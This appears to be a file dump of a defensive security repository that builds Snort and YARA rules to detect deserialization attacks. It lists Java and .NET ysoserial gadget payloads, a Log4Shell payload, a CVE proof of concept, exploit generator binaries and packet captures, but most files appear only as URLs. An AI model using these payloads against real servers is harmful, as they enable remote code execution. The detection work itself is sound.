├── .gitignore ├── DEVELOPERS.md ├── LICENSE.txt ├── README.md ├── REQUIREMENTS ├── Shmoocon2022_CleanUpOnTheSerialAisle_AlyssaRahman.pdf ├── heyserial.py ├── payloads ├── dotnet │ ├── ActivitySurrogateDisableTypeCheck_BinaryFormatter.base64 │ ├── ActivitySurrogateDisableTypeCheck_BinaryFormatter.bin │ ├── ActivitySurrogateDisableTypeCheck_LosFormatter.base64 │ ├── ActivitySurrogateDisableTypeCheck_LosFormatter.bin │ ├── ActivitySurrogateDisableTypeCheck_NetDataContractSerializer.base64 │ ├── ActivitySurrogateDisableTypeCheck_NetDataContractSerializer.bin │ ├── ActivitySurrogateDisableTypeCheck_SoapFormatter.base64 │ ├── ActivitySurrogateDisableTypeCheck_SoapFormatter.bin │ ├── ActivitySurrogateSelector_LosFormatter.base64 │ ├── ActivitySurrogateSelector_LosFormatter.bin │ ├── ActivitySurrogateSelector_SoapFormatter.base64 │ ├── ActivitySurrogateSelector_SoapFormatter.bin │ ├── AxHostState_BinaryFormatter.base64 │ ├── AxHostState_BinaryFormatter.bin │ ├── AxHostState_LosFormatter.base64 │ ├── AxHostState_LosFormatter.bin │ ├── AxHostState_NetDataContractSerializer.base64 │ ├── AxHostState_NetDataContractSerializer.bin │ ├── AxHostState_SoapFormatter.base64 │ ├── AxHostState_SoapFormatter.bin │ ├── ClaimsIdentity_BinaryFormatter.base64 │ ├── ClaimsIdentity_BinaryFormatter.bin │ ├── ClaimsIdentity_LosFormatter.base64 │ ├── ClaimsIdentity_LosFormatter.bin │ ├── ClaimsIdentity_SoapFormatter.base64 │ ├── ClaimsIdentity_SoapFormatter.bin │ ├── DataSet_BinaryFormatter.base64 │ ├── DataSet_BinaryFormatter.bin │ ├── DataSet_LosFormatter.base64 │ ├── DataSet_LosFormatter.bin │ ├── DataSet_SoapFormatter.base64 │ ├── DataSet_SoapFormatter.bin │ ├── ObjectDataProvider_FastJson.base64 │ ├── ObjectDataProvider_FastJson.bin │ ├── ObjectDataProvider_FsPickler.base64 │ ├── ObjectDataProvider_FsPickler.bin │ ├── ObjectDataProvider_JavaScriptSerializer.base64 │ ├── ObjectDataProvider_JavaScriptSerializer.bin │ ├── ObjectDataProvider_Json.Net.base64 │ ├── ObjectDataProvider_Json.Net.bin │ ├── ObjectDataProvider_SharpSerializerBinary.base64 │ ├── ObjectDataProvider_SharpSerializerBinary.bin │ ├── ObjectDataProvider_SharpSerializerXml.base64 │ ├── ObjectDataProvider_SharpSerializerXml.bin │ ├── PSObject_BinaryFormatter.base64 │ ├── PSObject_BinaryFormatter.bin │ ├── PSObject_LosFormatter.base64 │ ├── PSObject_LosFormatter.bin │ ├── PSObject_NetDataContractSerializer.base64 │ ├── PSObject_NetDataContractSerializer.bin │ ├── PSObject_SoapFormatter.base64 │ ├── PSObject_SoapFormatter.bin │ ├── RolePrincipal_BinaryFormatter.base64 │ ├── RolePrincipal_BinaryFormatter.bin │ ├── RolePrincipal_DataContractSerializer.base64 │ ├── RolePrincipal_DataContractSerializer.bin │ ├── RolePrincipal_Json.Net.base64 │ ├── RolePrincipal_Json.Net.bin │ ├── RolePrincipal_LosFormatter.base64 │ ├── RolePrincipal_LosFormatter.bin │ ├── RolePrincipal_NetDataContractSerializer.base64 │ ├── RolePrincipal_NetDataContractSerializer.bin │ ├── RolePrincipal_SoapFormatter.base64 │ ├── RolePrincipal_SoapFormatter.bin │ ├── SessionSecurityToken_BinaryFormatter.base64 │ ├── SessionSecurityToken_BinaryFormatter.bin │ ├── SessionSecurityToken_DataContractSerializer.base64 │ ├── SessionSecurityToken_DataContractSerializer.bin │ ├── SessionSecurityToken_Json.Net.base64 │ ├── SessionSecurityToken_Json.Net.bin │ ├── SessionSecurityToken_LosFormatter.base64 │ ├── SessionSecurityToken_LosFormatter.bin │ ├── SessionSecurityToken_NetDataContractSerializer.base64 │ ├── SessionSecurityToken_NetDataContractSerializer.bin │ ├── SessionSecurityToken_SoapFormatter.base64 │ ├── SessionSecurityToken_SoapFormatter.bin │ ├── SessionViewStateHistoryItem_BinaryFormatter.base64 │ ├── SessionViewStateHistoryItem_BinaryFormatter.bin │ ├── SessionViewStateHistoryItem_DataContractSerializer.base64 │ ├── SessionViewStateHistoryItem_DataContractSerializer.bin │ ├── SessionViewStateHistoryItem_Json.Net.base64 │ ├── SessionViewStateHistoryItem_Json.Net.bin │ ├── SessionViewStateHistoryItem_LosFormatter.base64 │ ├── SessionViewStateHistoryItem_LosFormatter.bin │ ├── SessionViewStateHistoryItem_NetDataContractSerializer.base64 │ ├── SessionViewStateHistoryItem_NetDataContractSerializer.bin │ ├── SessionViewStateHistoryItem_SoapFormatter.base64 │ ├── SessionViewStateHistoryItem_SoapFormatter.bin │ ├── TextFormattingRunProperties_BinaryFormatter.base64 │ ├── TextFormattingRunProperties_BinaryFormatter.bin │ ├── TextFormattingRunProperties_DataContractSerializer.base64 │ ├── TextFormattingRunProperties_DataContractSerializer.bin │ ├── TextFormattingRunProperties_LosFormatter.base64 │ ├── TextFormattingRunProperties_LosFormatter.bin │ ├── TextFormattingRunProperties_NetDataContractSerializer.base64 │ ├── TextFormattingRunProperties_NetDataContractSerializer.bin │ ├── TextFormattingRunProperties_SoapFormatter.base64 │ ├── TextFormattingRunProperties_SoapFormatter.bin │ ├── TypeConfuseDelegateMono_BinaryFormatter.base64 │ ├── TypeConfuseDelegateMono_BinaryFormatter.bin │ ├── TypeConfuseDelegateMono_LosFormatter.base64 │ ├── TypeConfuseDelegateMono_LosFormatter.bin │ ├── TypeConfuseDelegateMono_NetDataContractSerializer.base64 │ ├── TypeConfuseDelegateMono_NetDataContractSerializer.bin │ ├── TypeConfuseDelegate_BinaryFormatter.base64 │ ├── TypeConfuseDelegate_BinaryFormatter.bin │ ├── TypeConfuseDelegate_LosFormatter.base64 │ ├── TypeConfuseDelegate_LosFormatter.bin │ ├── TypeConfuseDelegate_NetDataContractSerializer.base64 │ ├── TypeConfuseDelegate_NetDataContractSerializer.bin │ ├── WindowsIdentity_BinaryFormatter.base64 │ ├── WindowsIdentity_BinaryFormatter.bin │ ├── WindowsIdentity_DataContractSerializer.base64 │ ├── WindowsIdentity_DataContractSerializer.bin │ ├── WindowsIdentity_Json.Net.base64 │ ├── WindowsIdentity_Json.Net.bin │ ├── WindowsIdentity_LosFormatter.base64 │ ├── WindowsIdentity_LosFormatter.bin │ ├── WindowsIdentity_NetDataContractSerializer.base64 │ ├── WindowsIdentity_NetDataContractSerializer.bin │ ├── WindowsIdentity_SoapFormatter.base64 │ ├── WindowsIdentity_SoapFormatter.bin │ ├── WindowsPrincipal_BinaryFormatter.base64 │ ├── WindowsPrincipal_BinaryFormatter.bin │ ├── WindowsPrincipal_DataContractJsonSerializer.base64 │ ├── WindowsPrincipal_DataContractJsonSerializer.bin │ ├── WindowsPrincipal_DataContractSerializer.base64 │ ├── WindowsPrincipal_DataContractSerializer.bin │ ├── WindowsPrincipal_Json.Net.base64 │ ├── WindowsPrincipal_Json.Net.bin │ ├── WindowsPrincipal_LosFormatter.base64 │ ├── WindowsPrincipal_LosFormatter.bin │ ├── WindowsPrincipal_NetDataContractSerializer.base64 │ ├── WindowsPrincipal_NetDataContractSerializer.bin │ ├── WindowsPrincipal_SoapFormatter.base64 │ ├── WindowsPrincipal_SoapFormatter.bin │ ├── testanull_CVE202142321_POC_example.base64 │ └── testanull_CVE202142321_POC_example.bin ├── javaobj │ ├── BeanShell1.base64 │ ├── BeanShell1.bin │ ├── C3P0.base64 │ ├── C3P0.bin │ ├── Click1.base64 │ ├── Click1.bin │ ├── Clojure.base64 │ ├── Clojure.bin │ ├── CommonsBeanutils1.base64 │ ├── CommonsBeanutils1.bin │ ├── CommonsCollections1.base64 │ ├── CommonsCollections1.bin │ ├── CommonsCollections2.base64 │ ├── CommonsCollections2.bin │ ├── CommonsCollections3.base64 │ ├── CommonsCollections3.bin │ ├── CommonsCollections4.base64 │ ├── CommonsCollections4.bin │ ├── CommonsCollections5.base64 │ ├── CommonsCollections5.bin │ ├── CommonsCollections6.base64 │ ├── CommonsCollections6.bin │ ├── CommonsCollections7.base64 │ ├── CommonsCollections7.bin │ ├── FileUpload1.base64 │ ├── FileUpload1.bin │ ├── Groovy1.base64 │ ├── Groovy1.bin │ ├── Hibernate1.base64 │ ├── Hibernate1.bin │ ├── Hibernate2.base64 │ ├── Hibernate2.bin │ ├── JBossInterceptors1.base64 │ ├── JBossInterceptors1.bin │ ├── JRMPClient.base64 │ ├── JRMPClient.bin │ ├── JavassistWeld1.base64 │ ├── JavassistWeld1.bin │ ├── Jdk7u21.base64 │ ├── Jdk7u21.bin │ ├── MozillaRhino1.base64 │ ├── MozillaRhino1.bin │ ├── MozillaRhino2.base64 │ ├── MozillaRhino2.bin │ ├── Myfaces1.base64 │ ├── Myfaces1.bin │ ├── ROME.base64 │ ├── ROME.bin │ ├── Spring1.base64 │ ├── Spring1.bin │ ├── Spring2.base64 │ ├── Spring2.bin │ ├── URLDNS.base64 │ ├── URLDNS.bin │ ├── Vaadin1.base64 │ └── Vaadin1.bin └── jndiobj │ ├── cve-2021-44228.base64 │ └── cve-2021-44228.bin ├── pcaps ├── cve-2021-44228_rawbase64.pcap ├── ysoserial_dotnet_rawbase64.pcap └── ysoserial_java_rawbase64.pcap ├── rules ├── javaobj │ ├── AspectJWeaver.snort │ ├── AspectJWeaver.yara │ ├── BeanShell1.snort │ ├── BeanShell1.yara │ ├── C3P0.snort │ ├── C3P0.yara │ ├── Click1.snort │ ├── Click1.yara │ ├── Clojure.snort │ ├── Clojure.yara │ ├── CommonsBeanutils1.snort │ ├── CommonsBeanutils1.yara │ ├── CommonsCollections1_3.snort │ ├── CommonsCollections1_3.yara │ ├── CommonsCollections2.snort │ ├── CommonsCollections2.yara │ ├── CommonsCollections4.snort │ ├── CommonsCollections4.yara │ ├── CommonsCollections5.snort │ ├── CommonsCollections5.yara │ ├── CommonsCollections6.snort │ ├── CommonsCollections6.yara │ ├── CommonsCollections7.snort │ ├── CommonsCollections7.yara │ ├── FileUpload1.snort │ ├── FileUpload1.yara │ ├── Groovy1.snort │ ├── Groovy1.yara │ ├── Hibernate1_2.snort │ ├── Hibernate1_2.yara │ ├── JBossInterceptors1.snort │ ├── JBossInterceptors1.yara │ ├── JRMPClient.snort │ ├── JRMPClient.yara │ ├── JRMPListener.snort │ ├── JRMPListener.yara │ ├── JavassistWeld1.snort │ ├── JavassistWeld1.yara │ ├── Jdk7u21.snort │ ├── Jdk7u21.yara │ ├── Jython1.snort │ ├── Jython1.yara │ ├── MozillaRhino1.snort │ ├── MozillaRhino1.yara │ ├── MozillaRhino2.snort │ ├── MozillaRhino2.yara │ ├── Myfaces1_2.snort │ ├── Myfaces1_2.yara │ ├── ROME.snort │ ├── ROME.yara │ ├── Spring1_2.snort │ ├── Spring1_2.yara │ ├── URLDNS.snort │ ├── URLDNS.yara │ ├── Vaadin1.snort │ ├── Vaadin1.yara │ ├── Wicket1.snort │ └── Wicket1.yara └── jndiobj │ ├── dns.snort │ ├── dns.yara │ ├── ldap.snort │ ├── ldap.yara │ ├── ldaps.snort │ ├── ldaps.yara │ ├── rmi.snort │ └── rmi.yara ├── utils ├── checkyoself.py ├── generate_payloads.ps1 ├── generate_payloads.sh ├── server.py ├── ysoserial.jar └── ysoserial.net-1.34 │ ├── E.dll │ ├── FSharp.Core.dll │ ├── FSharp.Core.xml │ ├── FsPickler.CSharp.dll │ ├── FsPickler.CSharp.pdb │ ├── FsPickler.CSharp.xml │ ├── FsPickler.Json.dll │ ├── FsPickler.Json.pdb │ ├── FsPickler.Json.xml │ ├── FsPickler.dll │ ├── FsPickler.pdb │ ├── FsPickler.xml │ ├── Microsoft.PowerShell.Editor.dll │ ├── NDesk.Options.dll │ ├── Newtonsoft.Json.dll │ ├── Newtonsoft.Json.xml │ ├── Polenter.SharpSerializer.dll │ ├── Polenter.SharpSerializer.xml │ ├── TestConsoleApp_YSONET.exe │ ├── TestConsoleApp_YSONET.exe.config │ ├── TestConsoleApp_YSONET.pdb │ ├── YamlDotNet.dll │ ├── YamlDotNet.xml │ ├── dlls │ ├── Microsoft.PowerShell.Editor.dll │ └── System.Management.Automation.dll │ ├── fastjson.dll │ ├── microsoft.identitymodel.dll │ ├── ysoserial.exe │ ├── ysoserial.exe.config │ └── ysoserial.pdb ├── ysoserial.net_LICENSE.txt └── ysoserial_LICENSE.txt /.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/.gitignore -------------------------------------------------------------------------------- /DEVELOPERS.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/DEVELOPERS.md -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/LICENSE.txt -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/README.md -------------------------------------------------------------------------------- /REQUIREMENTS: -------------------------------------------------------------------------------- 1 | yara-python 2 | -------------------------------------------------------------------------------- /Shmoocon2022_CleanUpOnTheSerialAisle_AlyssaRahman.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/Shmoocon2022_CleanUpOnTheSerialAisle_AlyssaRahman.pdf -------------------------------------------------------------------------------- /heyserial.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/heyserial.py -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateDisableTypeCheck_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateDisableTypeCheck_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateDisableTypeCheck_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateDisableTypeCheck_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateDisableTypeCheck_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateDisableTypeCheck_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateDisableTypeCheck_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateDisableTypeCheck_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateDisableTypeCheck_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateDisableTypeCheck_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateDisableTypeCheck_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateDisableTypeCheck_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateDisableTypeCheck_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateDisableTypeCheck_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateDisableTypeCheck_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateDisableTypeCheck_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateSelector_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateSelector_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateSelector_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateSelector_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateSelector_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateSelector_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ActivitySurrogateSelector_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ActivitySurrogateSelector_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/AxHostState_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/AxHostState_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/AxHostState_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/AxHostState_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/AxHostState_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/AxHostState_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/AxHostState_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/AxHostState_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/AxHostState_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/AxHostState_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/AxHostState_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/AxHostState_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/AxHostState_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/AxHostState_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/AxHostState_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/AxHostState_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/ClaimsIdentity_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ClaimsIdentity_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ClaimsIdentity_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ClaimsIdentity_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/ClaimsIdentity_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ClaimsIdentity_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ClaimsIdentity_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ClaimsIdentity_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/ClaimsIdentity_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ClaimsIdentity_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ClaimsIdentity_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ClaimsIdentity_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/DataSet_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/DataSet_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/DataSet_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/DataSet_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/DataSet_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/DataSet_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/DataSet_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/DataSet_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/DataSet_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/DataSet_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/DataSet_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/DataSet_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_FastJson.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_FastJson.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_FastJson.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_FastJson.bin -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_FsPickler.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_FsPickler.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_FsPickler.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_FsPickler.bin -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_JavaScriptSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_JavaScriptSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_JavaScriptSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_JavaScriptSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_Json.Net.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_Json.Net.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_Json.Net.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_Json.Net.bin -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_SharpSerializerBinary.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_SharpSerializerBinary.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_SharpSerializerBinary.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_SharpSerializerBinary.bin -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_SharpSerializerXml.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_SharpSerializerXml.base64 -------------------------------------------------------------------------------- /payloads/dotnet/ObjectDataProvider_SharpSerializerXml.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/ObjectDataProvider_SharpSerializerXml.bin -------------------------------------------------------------------------------- /payloads/dotnet/PSObject_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/PSObject_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/PSObject_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/PSObject_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/PSObject_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/PSObject_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/PSObject_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/PSObject_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/PSObject_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/PSObject_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/PSObject_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/PSObject_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/PSObject_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/PSObject_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/PSObject_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/PSObject_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_DataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_DataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_DataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_DataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_Json.Net.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_Json.Net.base64 -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_Json.Net.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_Json.Net.bin -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_LosFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_LosFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_LosFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_LosFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_NetDataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_NetDataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_NetDataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_NetDataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_SoapFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_SoapFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/RolePrincipal_SoapFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/RolePrincipal_SoapFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_BinaryFormatter.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_BinaryFormatter.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_BinaryFormatter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_BinaryFormatter.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_DataContractSerializer.base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_DataContractSerializer.base64 -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_DataContractSerializer.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/payloads/dotnet/SessionSecurityToken_DataContractSerializer.bin -------------------------------------------------------------------------------- /payloads/dotnet/SessionSecurityToken_Json.Net.base64: -------------------------------------------------------------------------------- 